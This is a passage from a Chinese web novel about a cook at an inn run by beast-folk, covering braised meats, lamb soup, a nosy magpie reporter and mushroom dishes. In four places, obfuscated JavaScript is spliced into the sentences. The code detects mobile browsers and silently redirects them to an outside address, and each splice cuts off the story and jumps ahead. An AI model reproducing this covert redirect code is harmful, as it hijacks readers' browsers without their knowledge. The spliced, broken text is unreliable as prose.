炸过的鸡鸭被放入翻滚的卤汁中，接着是五花肉、猪头肉、清洗得干干净净的猪大肠、豆干、莲藕、海带结……所有食材在深色的卤汁里沉沉浮浮，贪婪地吸收着滋味。 先是大火滚沸，继而转为文火慢煨。 时间一点点过去，卤汁变得越来越醇厚，香气也越来越深沉诱人。肉块在锅里咕嘟咕嘟地唱着歌，逐渐变得酥烂入味，颜色也染上了漂亮的酱红。 甘芮坐在灶膛前的小凳子上，看着跳跃的火光映着简菡专注的侧脸，鼻尖萦绕着越来越浓烈、越来越勾人的肉香，感觉自己口水分泌的速度快得惊人。 想起这些天吃过的桂花糖藕、锅包肉、拔丝地瓜，还有傍晚那碟暖心的紫薯小饼，她对眼前这个忙碌的身影莫名生出了几分亲切感。 “你好像很喜欢做饭。”她看着简菡虽然劳碌却浑身散发着一种奇异满足感的身影，不自觉就将心里话问出了口。 “对啊，”简菡正用铲子翻动锅里的卤味，闻言回头笑了笑，手里的大铲子搅动了一下浓郁的卤汁，“四方食事，不过一碗人间烟火嘛。” 她说得自然又惬意，仿佛这是世间最明白不过的道理。 “你呢？你喜欢什么？” 甘芮忽然被问住了。 我喜欢什么？ 做点心？虽然是家里世代经营产业，可她似乎从未真正喜欢过，甚至有些一窍不通。 练武？身手是不错，可这更多是母亲的要求和期望，是为了守护家业不得不学的技能。 她认真地思考了半天，最终有些茫然地摇了摇头：“我不知道自己喜欢什么。” “怎么会？”简菡觉得十分惊奇。 她熄掉灶膛里的火，盖上厚重的木头锅盖，让卤味在锅里闷着继续入味，然后走到甘芮对面，也搬了个小凳子坐下。 “人都会有自己喜欢的东西，兽人应该也不例外。我想，你一定是还没遇见，或者还没找到自己真心喜欢的东西吧。” 简菡这句随口而出的话，却像一颗投入平静湖面的石子，在甘芮的心湖里荡开了一圈又一圈的涟漪。 直到第二天，她再次站在比武招亲的台子上，看着台下熙熙攘攘却无人敢应战的人群，脑海中反复回响的，还是那句——“你一定是还没找到自己真心喜欢的东西”。 由于第一天的“凶名远扬”，第二天的比武招亲场面十分惨淡。 台子周围倒是里三层外三层围了不少看热闹的百姓，可愣是没一个敢跳上台的。 大家嗑着瓜子喝着水，纯当看个新鲜。 不过，今天简菡的生意却出奇的好。 她和聂松那临时支起的小吃摊子前，围得水泄不通！ 那霸道浓烈的卤香，随风飘出去老远，勾得人肚里的馋虫蠢蠢欲动。风头都差点盖过了昨天畅销的炒货和酸梅汤。 “老板娘！来半斤卤五花肉！要肥瘦相间的！” “给我切个猪耳朵！多来点辣油！” “豆干和海带结还有没有？各来一份！” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588529|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卤鸡怎么卖？来一只！” 简菡忙得团团转，手起刀落，切肉、过秤、浇汁，动作麻利得很。 聂松在一旁帮忙收钱，笑得见牙不见眼。 那卤香味实在太勾人，连对面衔蝉苑的猫猫们都坐不住了。 好几只瞳色各异的猫猫人排排坐在自家门槛上，鼻子使劲嗅着空气里的肉香，喉咙里不自觉地发出“咕噜咕噜”的声音，尾巴尖焦躁地拍打着地面。 苗澈摇着折扇从里面走出来，看着自家这群没出息的伙计，嫌弃地“啧”了一声。 但那香味一个劲儿往鼻子里钻，他瞥了一眼对面忙得热火朝天的摊子，最终还是对青梧抬了抬下巴：“去，带他们买些回来解解馋。别显得我们太小家子气。” 虽然简菡心里还气着苗澈和青梧上次算计她，但顾客是上帝，她一点没为难青梧，还贴心地问了一句：“青梧小哥，你们猫猫……呃……能吃这么重的盐味吗？”顺便，她还熟练地推销了一下，“搭着酸梅汤喝最解腻了！” “能能能！” 青梧眼睛盯着摊上的货，一个劲儿地点头。 看来，兽人与人类也无异嘛。 简菡嘀咕了一句，便按照猫猫们的要求配齐了货。她手脚利落地给青梧装了好几个油纸包。 临了，还额外塞给他两只酱红色的、油光发亮的卤鸭腿，笑眯眯地说：“喏，这个送你和你家掌柜的。只要你们俩能把这只鸭腿吃完，之前的事，我们便一笔勾销。” 为了增加“诚意”，她还特意多送了两份用竹筒装着的、冰镇过的绿豆汤。 青梧到底是个不谙世事的单纯猫郎，心思远不如他家掌柜那么多弯弯绕绕。 他想也不想地就点头同意，接过鸭腿和绿豆汤，结完账，还乐呵呵地跑回去跟苗澈献宝：“掌柜的！简菡姑娘说这是送我们的，还说只要我们吃完，她就原谅我们了！” 苗澈狐疑地看向对面。 简菡正巧也望过来，脸上挂着异常甜美和善的笑容，还朝他挥了挥手。 这丫头会这么好心？ 苗澈心里暗道，事出反常必有妖，这鸭腿肯定有诈！ 果然，青梧迫不及待地一口咬下那诱人的鸭腿…… 下一秒，“嗷”地一声，他整张清俊的脸瞬间皱成一团！ 辣椒的凶猛味道直冲天灵盖，辣得他眼泪唰地就下来了，舌头又麻又痛，仿佛着了火！什么优雅猫郎形象全无，他直接原地变成了一只被踩了尾巴的猫，伸着舌头“斯哈斯哈”地狂吸冷气，原地直跳脚。 苗澈见状，赶紧拧开竹筒，将冰凉的绿豆汤给他灌下去。清甜冰凉的汤汁暂时缓解了口腔里的灼烧地狱。 苗澈摇摇头，同情地拍了拍涕泪横流的青梧的肩膀，转身就往衔蝉苑里走。 “掌、掌柜的！你的鸭腿！”青梧辣得话都说不利索了，还惦记着简菡的“嘱咐”，扯着嗓子喊苗澈。 “你……自己慢慢享用吧。” 苗澈头都没回，脚步更快了。那鸭腿一看就是被特殊“关照”过的，他才不上当。 “啊？！”青梧看着手里那只咬了一口的、散发着致命诱惑和危险的鸭腿，又看看对面简菡那“和善可亲”的笑容，整只猫都耷拉了下来，一副天塌下来的悲惨模样。 果然，不能轻易惹女孩子生气啊！ 尤其是会做饭的女孩子！ 青梧欲哭无泪，只能苦大仇深地、一小口一小口地，将自己和掌柜的那份“心意”慢慢啃完。 每吃一口，都需要猛灌几口绿豆汤才能续命。 这教训，可谓刻骨铭心。 14. 水盆羊肉 鉴于第二天依旧无人敢上台挑战，晚上，月满楼的人便默默地将比武招亲的台子拆下来收拾了。虽然台下看热闹的人不少，但终究是没能为大小姐寻得一位佳婿，一众仆役难免有些垂头丧气。 虽然简菡之前从那位鼻孔朝天的丫鬟手里得了一袋沉甸甸的金子，但见此情景，她还是按捺住了想去送点吃食安慰一下的念头。 这时候凑上去，难保不会马屁拍在马蹄上，让人以为是看笑话或是别有用心。 她转身拿出这些天摆摊卖酸梅汤和卤味的记账小本本，又拎出鼓鼓囊囊的钱袋子，拉着同样兴奋的聂松，去找墨无咎帮忙核算分利。 这场比武招亲，几乎把全镇乃至附近村镇的百姓都吸引来了，这人流量带来的收入可比之前零敲碎打可观得多。 墨无咎噼里啪啦地拨着算盘，猫耳朵随着节奏微微抖动，最后报出一个数字，让简菡和聂松差点乐得蹦起来！ 两人正对着分到手的铜钱和碎银傻乐，那个总是拿鼻孔看人的蜂鸟丫鬟就又来了，依旧是一副居高临下的腔调：“喂，我家小姐找你。” “我？”简菡诧异地伸手指着自己的鼻子，有些不敢相信。 见那丫鬟肯定地点点头，她也不好推辞。毕竟，那金子给得是真多！实在让人硬气不起来。 她跟聂松道了句别，又把钱袋交给雪翎保管，这才整理了一下衣裙，跟着那丫鬟上了楼。 站在那间上房门口，简菡深吸一口气，小心翼翼敲了敲门。等里面传来一声“进来”，她才推门走了进去。 屋里的气氛却并非她预想中那般凝重压抑。 甘芮和甘琴母女俩相对而坐，脸上似乎还有未完全擦干的水痕，眼圈也微微泛红，但二人脸上却又都带着一种释然轻松的笑意。 “您找我？”简菡对着甘芮轻声问道。 “嗯！”甘芮笑着起身，走过来亲昵地拉住她的手，把她往甘琴面前带，“娘，那些话就是简菡跟我说的。” 甘琴夫人此刻也全然没了之前的疏离和挑剔，她拉过简菡的手，轻轻拍了拍，语气温和：“好孩子，谢谢你昨夜对阿芮的开解。” 原来是这事。 简菡心里松了口气，笑着摇摇头，有些不好意思地说：“夫人言重了，我没做什么，就是和甘芮小姐随口聊聊天罢了。” 走南闯北这近一年，为了比武招亲，甘芮身心俱疲，甘琴也是焦虑不已。 方才母女俩深谈一番，甘芮将简菡那句“你一定是还没找到自己真心喜欢的东西”转述给了母亲，这话竟也让甘琴豁然开朗，不再执着于非要立刻给女儿找个夫婿来继承家业，心中的大石陡然落地。 甘琴笑着，就要将发间一支做工极其精巧、缀着珍珠的金簪拔下来送给简菡：“拿着吧，孩子，这是你应得的。” “不行不行！” 简菡赶紧摆手推拒，心里暗道这有钱人果然对钱没概念，送东西都这么豪横，“您之前给的那袋金子已经很贵重了，我真的不能再收您这么重的礼了。” 甘琴的手顿住了，她看了女儿一眼，见甘芮微微摇头，便从善如流地将金簪收了回来，笑道：“也罢，是我们唐突了。若来日你来京城，定要来月满楼寻我们，让我们好好招待你，一尽地主之谊！” “成！那是一定！”简菡一口答应下来，笑容灿烂。 估摸着他们明日或许就要启程，简菡想起昨晚甘芮啃卤鸡爪时那满足又俏皮的模样，心里一动，忽然开口道：“夫人，甘芮小姐，要不……我再给您二位做顿饭吧？除了甜口的点心，您还没正经尝过我别的手艺呢。算是……我给二位饯行？” “成！”甘琴这次答应得格外爽快，脸上满是期待的笑容。甘芮也笑嘻嘻地看着她。 下了楼，雪翎立刻凑过来，好奇地问着：“怎么样怎么样？那位大小姐找你什么事？没为难你吧？” “没事，”简菡笑着摇摇头，心里还因为那对母女的释然而感到温暖，“就是聊聊天，顺便给她们做了顿饯行饭。” “饯行？她们要走了？”聂松也凑了过来，脸上露出一丝惋惜，“唉，可惜了这么大的人流量了。” “是啊，”简菡也叹了口气，不过很快又振作起来，“但人家是京城月满楼的大小姐，总不能一直待在咱们这小地方吧。” 这时，墨无咎清冷的声音从柜台后传来：“她们走了，你这独家卤味方子，倒是可以正经摆摊了。”他头也没抬，依旧拨弄着算盘，但话却点醒了简菡。 “对哦！”简菡眼睛一亮。 但想到答应了楼上的饭，她按捺住自己激动的心，一溜烟钻进了厨房。 她决定给她们做一道实在又鲜美的水盆羊肉。 她选了一块极好的羊腩肉，带着恰到好处的肥瘦和一层嫩滑的皮。羊肉冷水下锅，放入姜片、葱段，大火煮沸，仔细撇去浮沫。直至汤色渐渐清澈后，将羊肉捞出，用温水冲洗干净。 重新起一锅清水，放入焯好水的羊肉，加入足量用刀拍松散的老姜、几段葱白、一小把花椒和几片香叶，大火烧开再次转小火，盖上锅盖，让羊肉在锅里慢慢地煨着，令鲜味一点点融入汤中。 趁着炖肉的空隙，她开始准备配套的月牙烧饼。 面团揉得光滑筋道，揪成剂子，擀成牛舌状，抹上少许油盐，卷起后压扁，再擀成月牙的形状，表面刷上一层糖水，撒上密密的白芝麻，贴入大灶的炉膛内壁，利用余温烤得外皮焦脆，内里柔软。 那边羊肉炖煮了近一个时辰，已然酥烂入味，汤色奶白，香气四溢。她将羊肉捞出，晾至不烫手后，切成厚薄均匀的大片。 抓一大把提前泡软的粉丝放入滚烫的羊肉原汤中烫熟，连汤带粉丝倒入一个大海碗中，铺上切好的羊肉片，撒上一把切得细细的香菜和葱花，再浇上一勺滚烫的、冒着油花的羊汤！ 瞬间，香菜和葱花的清新香气被热汤激发出来，与羊肉汤的浓郁醇厚完美融合，那霸道的鲜香能飘出十里地去！ 简菡亲自将这一大海碗汤色奶白、肉烂汤醇、香气扑鼻的水盆羊肉，连同几个烤得焦黄酥脆、芝麻密布的月牙烧饼一起端了上去。 除了这个，她还把昨晚特意给甘芮留出来的一些卤味拼成一盘带上。 推开房门，那浓郁的羊肉鲜香瞬间充斥了整个房间。 甘琴和甘芮母女俩的眼睛立刻就亮了！ 尤其是甘琴，她走南闯北，什么好吃的没见过，但如此纯粹、鲜香、热气腾腾的肉汤还是瞬间勾起了她的食欲。 “快趁热吃，”简菡笑着将碗筷摆好，“这月牙饼能泡汤吃，也能掰开了夹着羊肉吃。” 甘琴先舀了一勺汤吹了吹，送入口中。汤入口，竟是意想不到的鲜美醇厚，没有一丝羊膻味，只有满口的温润咸香，顺着喉咙滑下去，整个胃里都暖烘烘的，舒服极了！她忍不住赞道：“好汤！” 甘芮则迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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甘芮笑着收了下来。 甘琴夫人看了看窗外天色，道：“时辰不早了，我们该走了。”她目光扫过客栈大堂，对众人微微颔首，便带着甘芮朝门外等候的马车走去。 简菡几人送到门口，看着那队车马辘辘远去，消失在街道尽头，心里竟都有些空落落的。 “行了，别看了，”雪翎最先回过神，拍了拍简菡的肩膀。 二人正要转身回屋，却见对面衔蝉苑门口，苗澈正倚着门框，摇着折扇，似笑非笑地看着这边。他身后，青梧探出半个脑袋，嘴巴还有些红肿，看向简菡的眼神里带着明显的敬畏和……一丝委屈？ 简菡想起那超级加辣的卤鸭腿，忍不住噗嗤一笑，故意扬声道：“苗掌柜，今日卤味还没开始售卖，您来早了！” 苗澈挑眉，扇子一合，笑道：“简姑娘生意兴隆。只是今日……不知还有没有‘特制’的鸭腿？” “那得看苗掌柜和青梧小哥的表现了！”简菡心情大好，冲他做了个鬼脸，转身蹦蹦跳跳地回了客栈。 遥远的官道上，马车里，甘琴看着女儿望着窗外的侧脸，轻声问：“阿芮，还在想那姑娘的话？” 甘芮回过头，眼中少了些迷茫，多了些光亮：“娘，我想好了。回京城后，我想先去家里的点心作坊，从最简单的学起。” 甘琴微微一怔，随即欣慰地笑了：“好，都好。只要你喜欢。” 15. 竹荪鸡汤 京城月报传到五福镇的时候，已经过了快一个月了。 这日天气晴好，雪翎正拿着鸡毛掸子有一下没一下地掸着柜台上的灰，一双雪白的羽毛耳饰无聊地耷拉着。 忽然，她瞥见送信驿使扔在门口的那卷最新月报，便顺手捡了起来。 展开一看，雪翎的眼睛瞬间瞪得溜圆，羽毛耳饰“唰”地竖得笔直！ “岂有此理！岂有此理！” 她气得直跺脚，指着报纸上某一版块，朝着柜台后假寐的墨无咎嚷嚷，“墨无咎！你快来看！” “不是辟谣了，上个月京城那桩珠宝盗窃案根本不是黑虎白鹤二位大侠所为吗？怎么这京城月报还在头版头条把屎盆子往他们头上扣？！这还有没有点求真务实的精神了！” 墨无咎连眼皮都懒得抬，只是懒洋洋地“喵”了一声，甩了甩黑色的尾巴尖，一副“关我屁事”的模样。 雪翎正气得跳脚，忽听门口传来一个清脆又带着点急切的声音：“请问，这里就是汪仙楼吗？” 雪翎下意识抬头，循声望去，只见门口站着一位女子。 这女子上身着一件靛青色印花绢丝短襦，领口和袖口绣着精致的云雀缠枝纹；下系一条色彩斑斓的八破晕裥裙，裙摆由深浅不一的青、紫、蓝、白等色绢帛拼缝而成，如同彩虹般绚丽；肩头还松松披着一条白色轻容纱披帛。 她头发上插着左右对称的黑色翅膀装的发饰，随着动作还会微微颤动，她的额前隐隐约约浮现着白色翎羽状花纹，根据这些特征，不难看出，她是何族的兽人。 她怀里抱着个布包，里面似乎装着书卷笔墨，一双眼睛亮得惊人，透着股刨根问底的劲儿。 “啊……是，这里是汪仙楼。” 雪翎被她那身过于花哨的打扮和灼灼的目光看得一愣，下意识点了点头。 下一秒，那喜鹊女子如同发现了宝藏一般，“嗖”地一下就窜了过来，速度快得只剩下一道彩色的影子！ 她一把抓住雪翎的胳膊，连珠炮似的发问：“你就是这里的伙计？你可曾见过那两位名震江湖的江洋大盗，黑虎与白鹤？他们究竟是如何落网的？听说是在你们客栈附近？那两位捉妖师又是如何与他们交的手？战况激不激烈？用了什么绝世功法？有没有留下什么独家线索或者信物？……” 噼里啪啦的问题如同冰雹般砸下来，砸得雪翎头晕眼花，抱头鼠窜：“我不知道！我什么都不知道！你别问我！” 那喜鹊姑娘见雪翎跑了，竟也不急着追，眼珠子滴溜溜一转，立刻锁定了新的目标。 柜台后面无表情拨算盘的墨无咎！ 她一个箭步冲到柜台边，几乎堵住了所有去路，目光灼灼地盯着墨无咎：“这位郎君！您气度不凡，定是见多识广！您一定知道内情对不对？关于黑虎白鹤……” 她话还没说完，只见玄光一闪，原本坐在那里的墨无咎瞬间化作一只通体乌黑的玄猫，轻盈地一跃，便从她头顶跳过，稳稳落在楼梯扶手上，舔了舔爪子，甩给她一个冷漠的背影，随即几个起落便消失在了二楼走廊尽头。 一个两个都跑了。 这喜鹊女子却仿佛完全感受不到那几乎凝成实质的嫌弃，目光再次一扫，立刻又锁定了新目标。 正靠在大堂柱子上，抱着胳膊瞧热闹的汪屿！ 她立刻又如一阵风般卷到汪屿面前，还没开口，汪屿已经面无表情地抬起手，手指精准地指向了刚从后院门进来、手里还端着一个沉甸甸大盆的简菡。 盆里装着满满当当、酱香浓郁的卤鸡胸肉和卤鸡腿，是准备给对面衔蝉苑的猫猫们送去的。 指完，汪屿甚至懒得再多说一个字，身形一闪，便利落地顺着楼梯下方的小路躲进了厨房，还“啪”一声从里面闩上了这边的小门。 “啊？” 简菡被指得一脸懵逼，端着盆站在原地，还没搞清楚状况。 喜鹊姑娘已经如同发现新大陆般，双眼放光地扑到了她面前，语速快得惊人：“这位姑娘！你可知那黑虎白鹤……” 简菡被她扑得一个趔趄，差点把手里一盆卤味全扣在地上！ 她赶紧稳住身形，也顾不得耳边那堪比一千只喜鹊同时喳喳的噪音，一心只想着赶紧给对面眼巴巴等着的猫猫们送货。 她抬脚就往门口走，那女子却完全不依不饶，紧紧跟在她身后，问题一个接一个，毫不停歇。 “你见过黑虎白鹤吗？据说他们身高八尺，青面獠牙！” 简菡脚步不停，面无表情：“没见过。” 同时还在心里嘀咕：还青面獠牙，当是画本子里的妖怪呢？ 那女子立刻不知从哪儿摸出个小本子和炭笔，唰唰记录：“目击者称未见其真容。” “捉妖师说，他们在你们客栈与黑虎白鹤有过一场激战！可有此事？战况如何？” 简菡听得头疼，只想赶紧打发她，敷衍道：“假的，那是他们抓错人了。” 那女子又是一顿猛写：“疑与官方说法有出入，或另有隐情。” “请问他们谁赢谁输？捉妖师用了何种法宝？” 简菡终于走到衔蝉苑门口，把盆递给早就等在那里的青梧，看着猫猫们欢天喜地地把卤味分走，这才不耐烦地转过身，看向那锲而不舍的喜鹊姑娘。 “大姐，你到底是谁啊？问这些想干嘛？” 那女子真真就跟瞧不出人家的嫌弃似的，闻言竟然还挺直了腰板，一本正经地整理了一下衣襟，清了清嗓子，开始自我介绍。 “在下雀鸣，乃是咱们五福镇新刊《江湖小报》的首席撰笔人兼采风使兼副编辑！主要负责追踪江湖热点、挖掘奇闻异事、采访各路英雄豪杰！力求为全镇百姓带来最新鲜、最有趣、最贴近江湖的精彩故事！” 她说得眉飞色舞，耳边的喜鹊翅膀耳饰都激动地微微抖动，“姑娘你放心，我们小报虽然初创，但内容绝对生动活泼，包管大家爱看！比如上月那期《震惊！镇东王老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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趁着炖鸡汤的工夫，她将那几朵侥幸挑出来的竹荪用温水加少许盐泡发，仔细清洗干净，剪去菌盖头和尾部，只留中间雪白网状、形如纱裙的菌柄部分。 约莫炖了半个多时辰，砂锅里的鸡汤已经呈现出诱人的淡黄色，鸡肉的鲜香浓郁地飘散出来。她将泡发好的竹荪沥干水分，放入锅中，再加入适量的盐调味，继续小火慢炖一刻钟，让竹荪特有的鲜味充分融入鸡汤之中。 最后撒上一小把枸杞，一锅汤色清亮、鲜香四溢的竹荪鸡汤便做好了。竹荪如纱如网，吸饱了鸡汤的精华，口感爽脆嫩滑；鸡汤则因为竹荪的加入，鲜味更上一层楼，清甜不腻，带着菌类特有的芬芳。 简菡将鸡汤盛入汤碗，又备了两碟小菜和米饭，一起放在托盘上，给那位等在大堂、依旧目光灼灼的雀大撰笔送了过去。 16. 干锅鹿茸菇 “雀姑娘，您要的菌子做好了，请慢用。” 简菡将那碗汤色清亮、热气腾腾的竹荪鸡汤放在了雀鸣面前。 鸡汤表面浮着一层金黄的油花，几颗鲜红的枸杞点缀其间，竹荪如纱似网般舒展在汤中，散发着诱人的香气。 雀鸣吸了吸鼻子，眼睛唰地亮了：“好香啊！” 她迫不及待地舀起一勺吹了吹送入口中，温热的汤汁滑过喉咙，那极致的鲜甜让她顿时满足地眯起了眼。 “鲜！真鲜！这竹荪吸饱了鸡汤，口感又脆又滑，鸡肉也炖得脱骨软烂……” 忽地，她像是想起来什么似的，猛地放下勺子，着急地问道：“其他菌子呢？我给你的那一包，其他的你都放哪里了？” 简菡皱眉，不解这姑娘喝汤喝得好好的，怎么突然又追问起那些毒蘑菇来了。 她见雀鸣一脸焦急，不似作伪，还以为她是真不认识那些蘑菇的毒性，只得耐心解释道：“雀姑娘，那些颜色鲜艳的蘑菇大多是有毒的，不能吃，吃了会轻则头晕呕吐，重则产生幻觉，甚至危及性命……” “菌子呢！” 雀鸣猛地打断她，神色间竟透出一股异常的执着和癫狂，眼神直勾勾地盯着简菡，看得她心里直发毛，“我给你的那一包！其他的在哪里？！” “在……在后院……” 简菡被她这突如其来的变脸吓了一跳，下意识地回答。 她心里暗自嘀咕：这姑娘莫不是中了什么邪？方才还好好地说笑吃喝，转眼间就变得这般骇人。 她话音未落，雀鸣就如同离弦之箭般，“嗖”地一下直奔后院而去。她那身色彩斑斓的八破晕裥裙在疾跑中飞扬起来，宛如一道突如其来的彩虹，却带着几分说不出的诡异。 简菡赶紧跟过去，只见她目标明确地找到了那个被简菡特意放在角落、还用炭笔画了个歪歪扭扭骷髅头表示“剧毒”的油纸包。那油纸包被放在一个废弃的石磨盘底下，本是极不显眼的位置。 然后，在简菡震惊的目光中，雀鸣如同捧着什么绝世珍宝、供奉祖宗牌位似的，小心翼翼、甚至带着点虔诚地将那包毒蘑菇捡了起来，还仔细地拂去上面的灰尘，重新包好，郑重其事地收进了自己那个装着笔墨纸砚的布包里。 她的动作轻柔得仿佛在对待什么易碎的珍品，与先前那风风火火的模样判若两人。 “那……那是有毒的……” 这句话最终沉默在了简菡的喉咙里，没有说出来。她看着雀鸣那异常郑重的神态，觉得后背有点发凉。这姑娘的举止实在太反常了，让人不由得心生警惕。 “坐啊，吃饭啊。” 下一秒，雀鸣转过身，脸上又瞬间挂回了之前那种热情洋溢、带着点八卦好奇的笑容，仿佛刚才那个神色癫狂、执着于毒蘑菇的人根本不是她。 这变脸的速度快得令人咋舌。 这人……莫非在巴蜀学过变脸吧！ 简菡心里嘀咕，但还是依言坐回了原位。 饭是自己做的，食材清清楚楚，她吃着自然放心。于是她拿起筷子，默默吃了起来。 这碗竹荪鸡汤的滋味，与炖煮时闻到的浓郁香气又有所不同。 汤入口清润甘甜，没有丝毫油腻之感。竹荪的网状菌柄吸饱了汤汁，咬下去爽脆弹牙，又在齿间释放出饱满的汤汁和鲜味。那种鲜，既有草木特有的鲜，还有母鸡的肉鲜，融合的恰到好处。 鸡肉早已炖得酥烂，轻轻一抿便能脱骨，肉质细嫩不柴，饱含汁水。 喝下一碗，只觉得五脏六腑都被熨帖得舒舒服服，浑身暖洋洋的，连带着对雀鸣那怪异举止的不安也稍稍缓解了些。 “你真没见过白鹤黑虎两位大侠？”雀鸣一边唏哩呼噜地喝汤，一边还不忘工作。 “没见过。”简菡头也不抬，专心品味着鸡汤的鲜美。 “那捉妖师不是在你们这捉住的两位大侠吗？就在这客栈里？” 她又问，眼睛紧盯着简菡的表情，似乎想从她脸上找出什么破绽。 “谁说的，”简菡给自己夹了块鸡肉，慢条斯理地吃着，“那是他们抓错人了，闹了场乌龙。那两人压根没去过京城，都是误会。” 她回想起那日鸡飞狗跳的场景，不免觉得有些好笑。 那俩穷鬼可是吃了半袋子面粉呢！ “可京城月报分明说两位大侠就是在咱们五福镇的汪仙楼伏诛的啊！这还能有假？” 雀鸣显然不信，声音不由得提高了几分。 简菡咽下口中的鸡肉，一脸认真地看向她：“或许……那写月报的撰笔，也跟您一样，特别善于运用一些夸张的手法来增加故事的趣味性？” 她语气平和，却带着几分调侃之意。 说完，她便不再多言，闷头吃着饭。 这鸡汤凉了可就不好喝了。 不知道是哪句话刺激到了雀鸣，还是一碗热汤终于堵住了她的嘴，她总算是沉默了下来，只是低头吃着饭，没再多言。 简菡吃完饭，也没急着走，严格遵守“半个时辰”的约定。 直到感觉时间差不多了，她才端着自己的空碗筷起身，去了后院。 那包花花绿绿的毒蘑菇，虽然吓人，却意外地勾起了简菡对菌菇的馋瘾。她想起小时候在山里采蘑菇炖汤的鲜美滋味，不由得咽了咽口水。 她找到赖在她房间里的雪翎，软语求她给聂松发了一张传音符，嘱咐他晚上来时，务必给她带一包能吃的鲜蘑菇回来。 她特意强调了“能吃的”这三个字，生怕聂松也给她弄来一包五彩斑斓的毒蘑菇。 刚做完这些，就听见大堂里传来雀鸣扯着嗓子喊人的声音：“掌柜的？伙计？来个活人啊！” 她的声音清脆响亮，穿透力极强，想假装没听见都难。 客栈里从汪屿到墨无咎再到雪翎，都对这位喜鹊姑娘避之不及。汪屿早就不知躲到哪里去了，墨无咎更是化身黑猫趴在房梁上假寐，连尾巴尖都懒得动一下。 无奈，简菡只得硬着头皮，再次迎难而上。 谁让她是店里最“好（冤）说（大）话（头）”的那个呢？ 走到桌边，简菡扫了一眼空碗，暗暗吸了口凉气。 只见那只汤碗吃得溜干净，一整只鸡，连肉带骨，一点没剩下，碗底干净得都能照出人影来。 好胃口…… 这位喜鹊姑娘，不仅问题多，饭量也不小啊！ 简菡在心里暗暗咋舌，这食量都快赶上那俩捉妖师了！ “给我开间房。” 雀鸣从她那鼓鼓囊囊的布包里摸索了一阵，掏出些铜板，拍在桌子上。铜板碰撞发出清脆的响声，在安静的大堂里显得格外突兀。 这点钱，根本不够住店。 按照汪仙楼的定价，连最便宜的房间的一半房钱都不够。 但她中午刚给了简菡一钱银子，除去那顿丰盛竹荪鸡汤的成本，倒是勉强够住最便宜的客房了。 简菡在心里快速盘算了一下，就当……她今天跟别人“拼好饭”了吧。 唉！ 简菡无奈，只好带她去了二楼最偏僻、也最便宜的那间小客房。 那房间朝北，终年不见阳光，屋里的浴桶放不下，平日里很少会有客人选择入住。 回头再找墨无咎记账吧。 她心里想着。 傍晚时分，聂松果然依言送来了一大包新鲜蘑菇。 多是些肥厚的平菇、鲜嫩的香菇、还有一小把珍贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588532|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鹿茸菇。蘑菇还带着泥土的清香，一看就是刚采摘不久的新鲜货。 简菡喜出望外，当即决定晚上就做一道干锅鹿茸菇解馋。 这道菜麻辣鲜香，最是下饭，正好慰劳一下今天被那位喜鹊姑娘折腾得不轻的自己。 她将鹿茸菇仔细清洗干净，又切了些五花肉片备用。准备好干辣椒、花椒、蒜瓣、姜片、葱段，还有必不可少的豆瓣酱。 热锅凉油，先下五花肉片煸炒，逼出里面的油脂，炒至肉片微卷、金黄焦香。接着下入豆瓣酱，炒出红油和酱香味，再放入干辣椒、花椒、蒜瓣、姜片爆香。 刹那间，辛辣霸道的香气如同爆炸般充满了整个厨房！ 那麻辣鲜香的味道刺激着鼻腔，让人忍不住想要打喷嚏。 然后把主角鹿茸菇和其他鲜菇一起倒入锅中，快速翻炒，让每一片菌菇都均匀地裹上酱料和油脂。烹入少许料酒、酱油、糖调味，继续大火猛炒，让菌菇充分吸收味道的同时，也逼出它们自身的水分和鲜气。 最后撒上一把葱段和熟芝麻，翻匀即可出锅。盛入小铁锅里，下面点上一个小蜡烛，持续加热，这就是“干锅”的精髓所在，越炖越香，越吃越有味。 这干锅鹿茸菇一出锅，那香气简直能勾魂！香气弥漫在整个厨房，甚至隐隐约约有往大堂飘去的趋势。 鹿茸菇口感极其爽脆，吸饱了麻辣鲜香的汤汁，嚼起来咯吱作响，又鲜又辣又麻，极其过瘾。 五花肉片焦香，提供了丰腴的肉味。 各种菌菇混合，口感层次丰富，在麻辣的主调下，依然能品尝到菌类特有的鲜美。烛火持续加热，锅底发出“滋滋”的声响，香气不断弥漫，让人食欲大开。 简菡刚把干锅端到厨房的小桌上，正拿起筷子准备享用呢，就听门口传来一声惊呼。 “好哇！你吃独食！” 雪翎被这霸道浓烈的香味吸引了过来，扒着门框，一双雪白的羽翅耳饰因为兴奋而微微抖动，鼻尖不停地吸着气，一副馋猫模样。 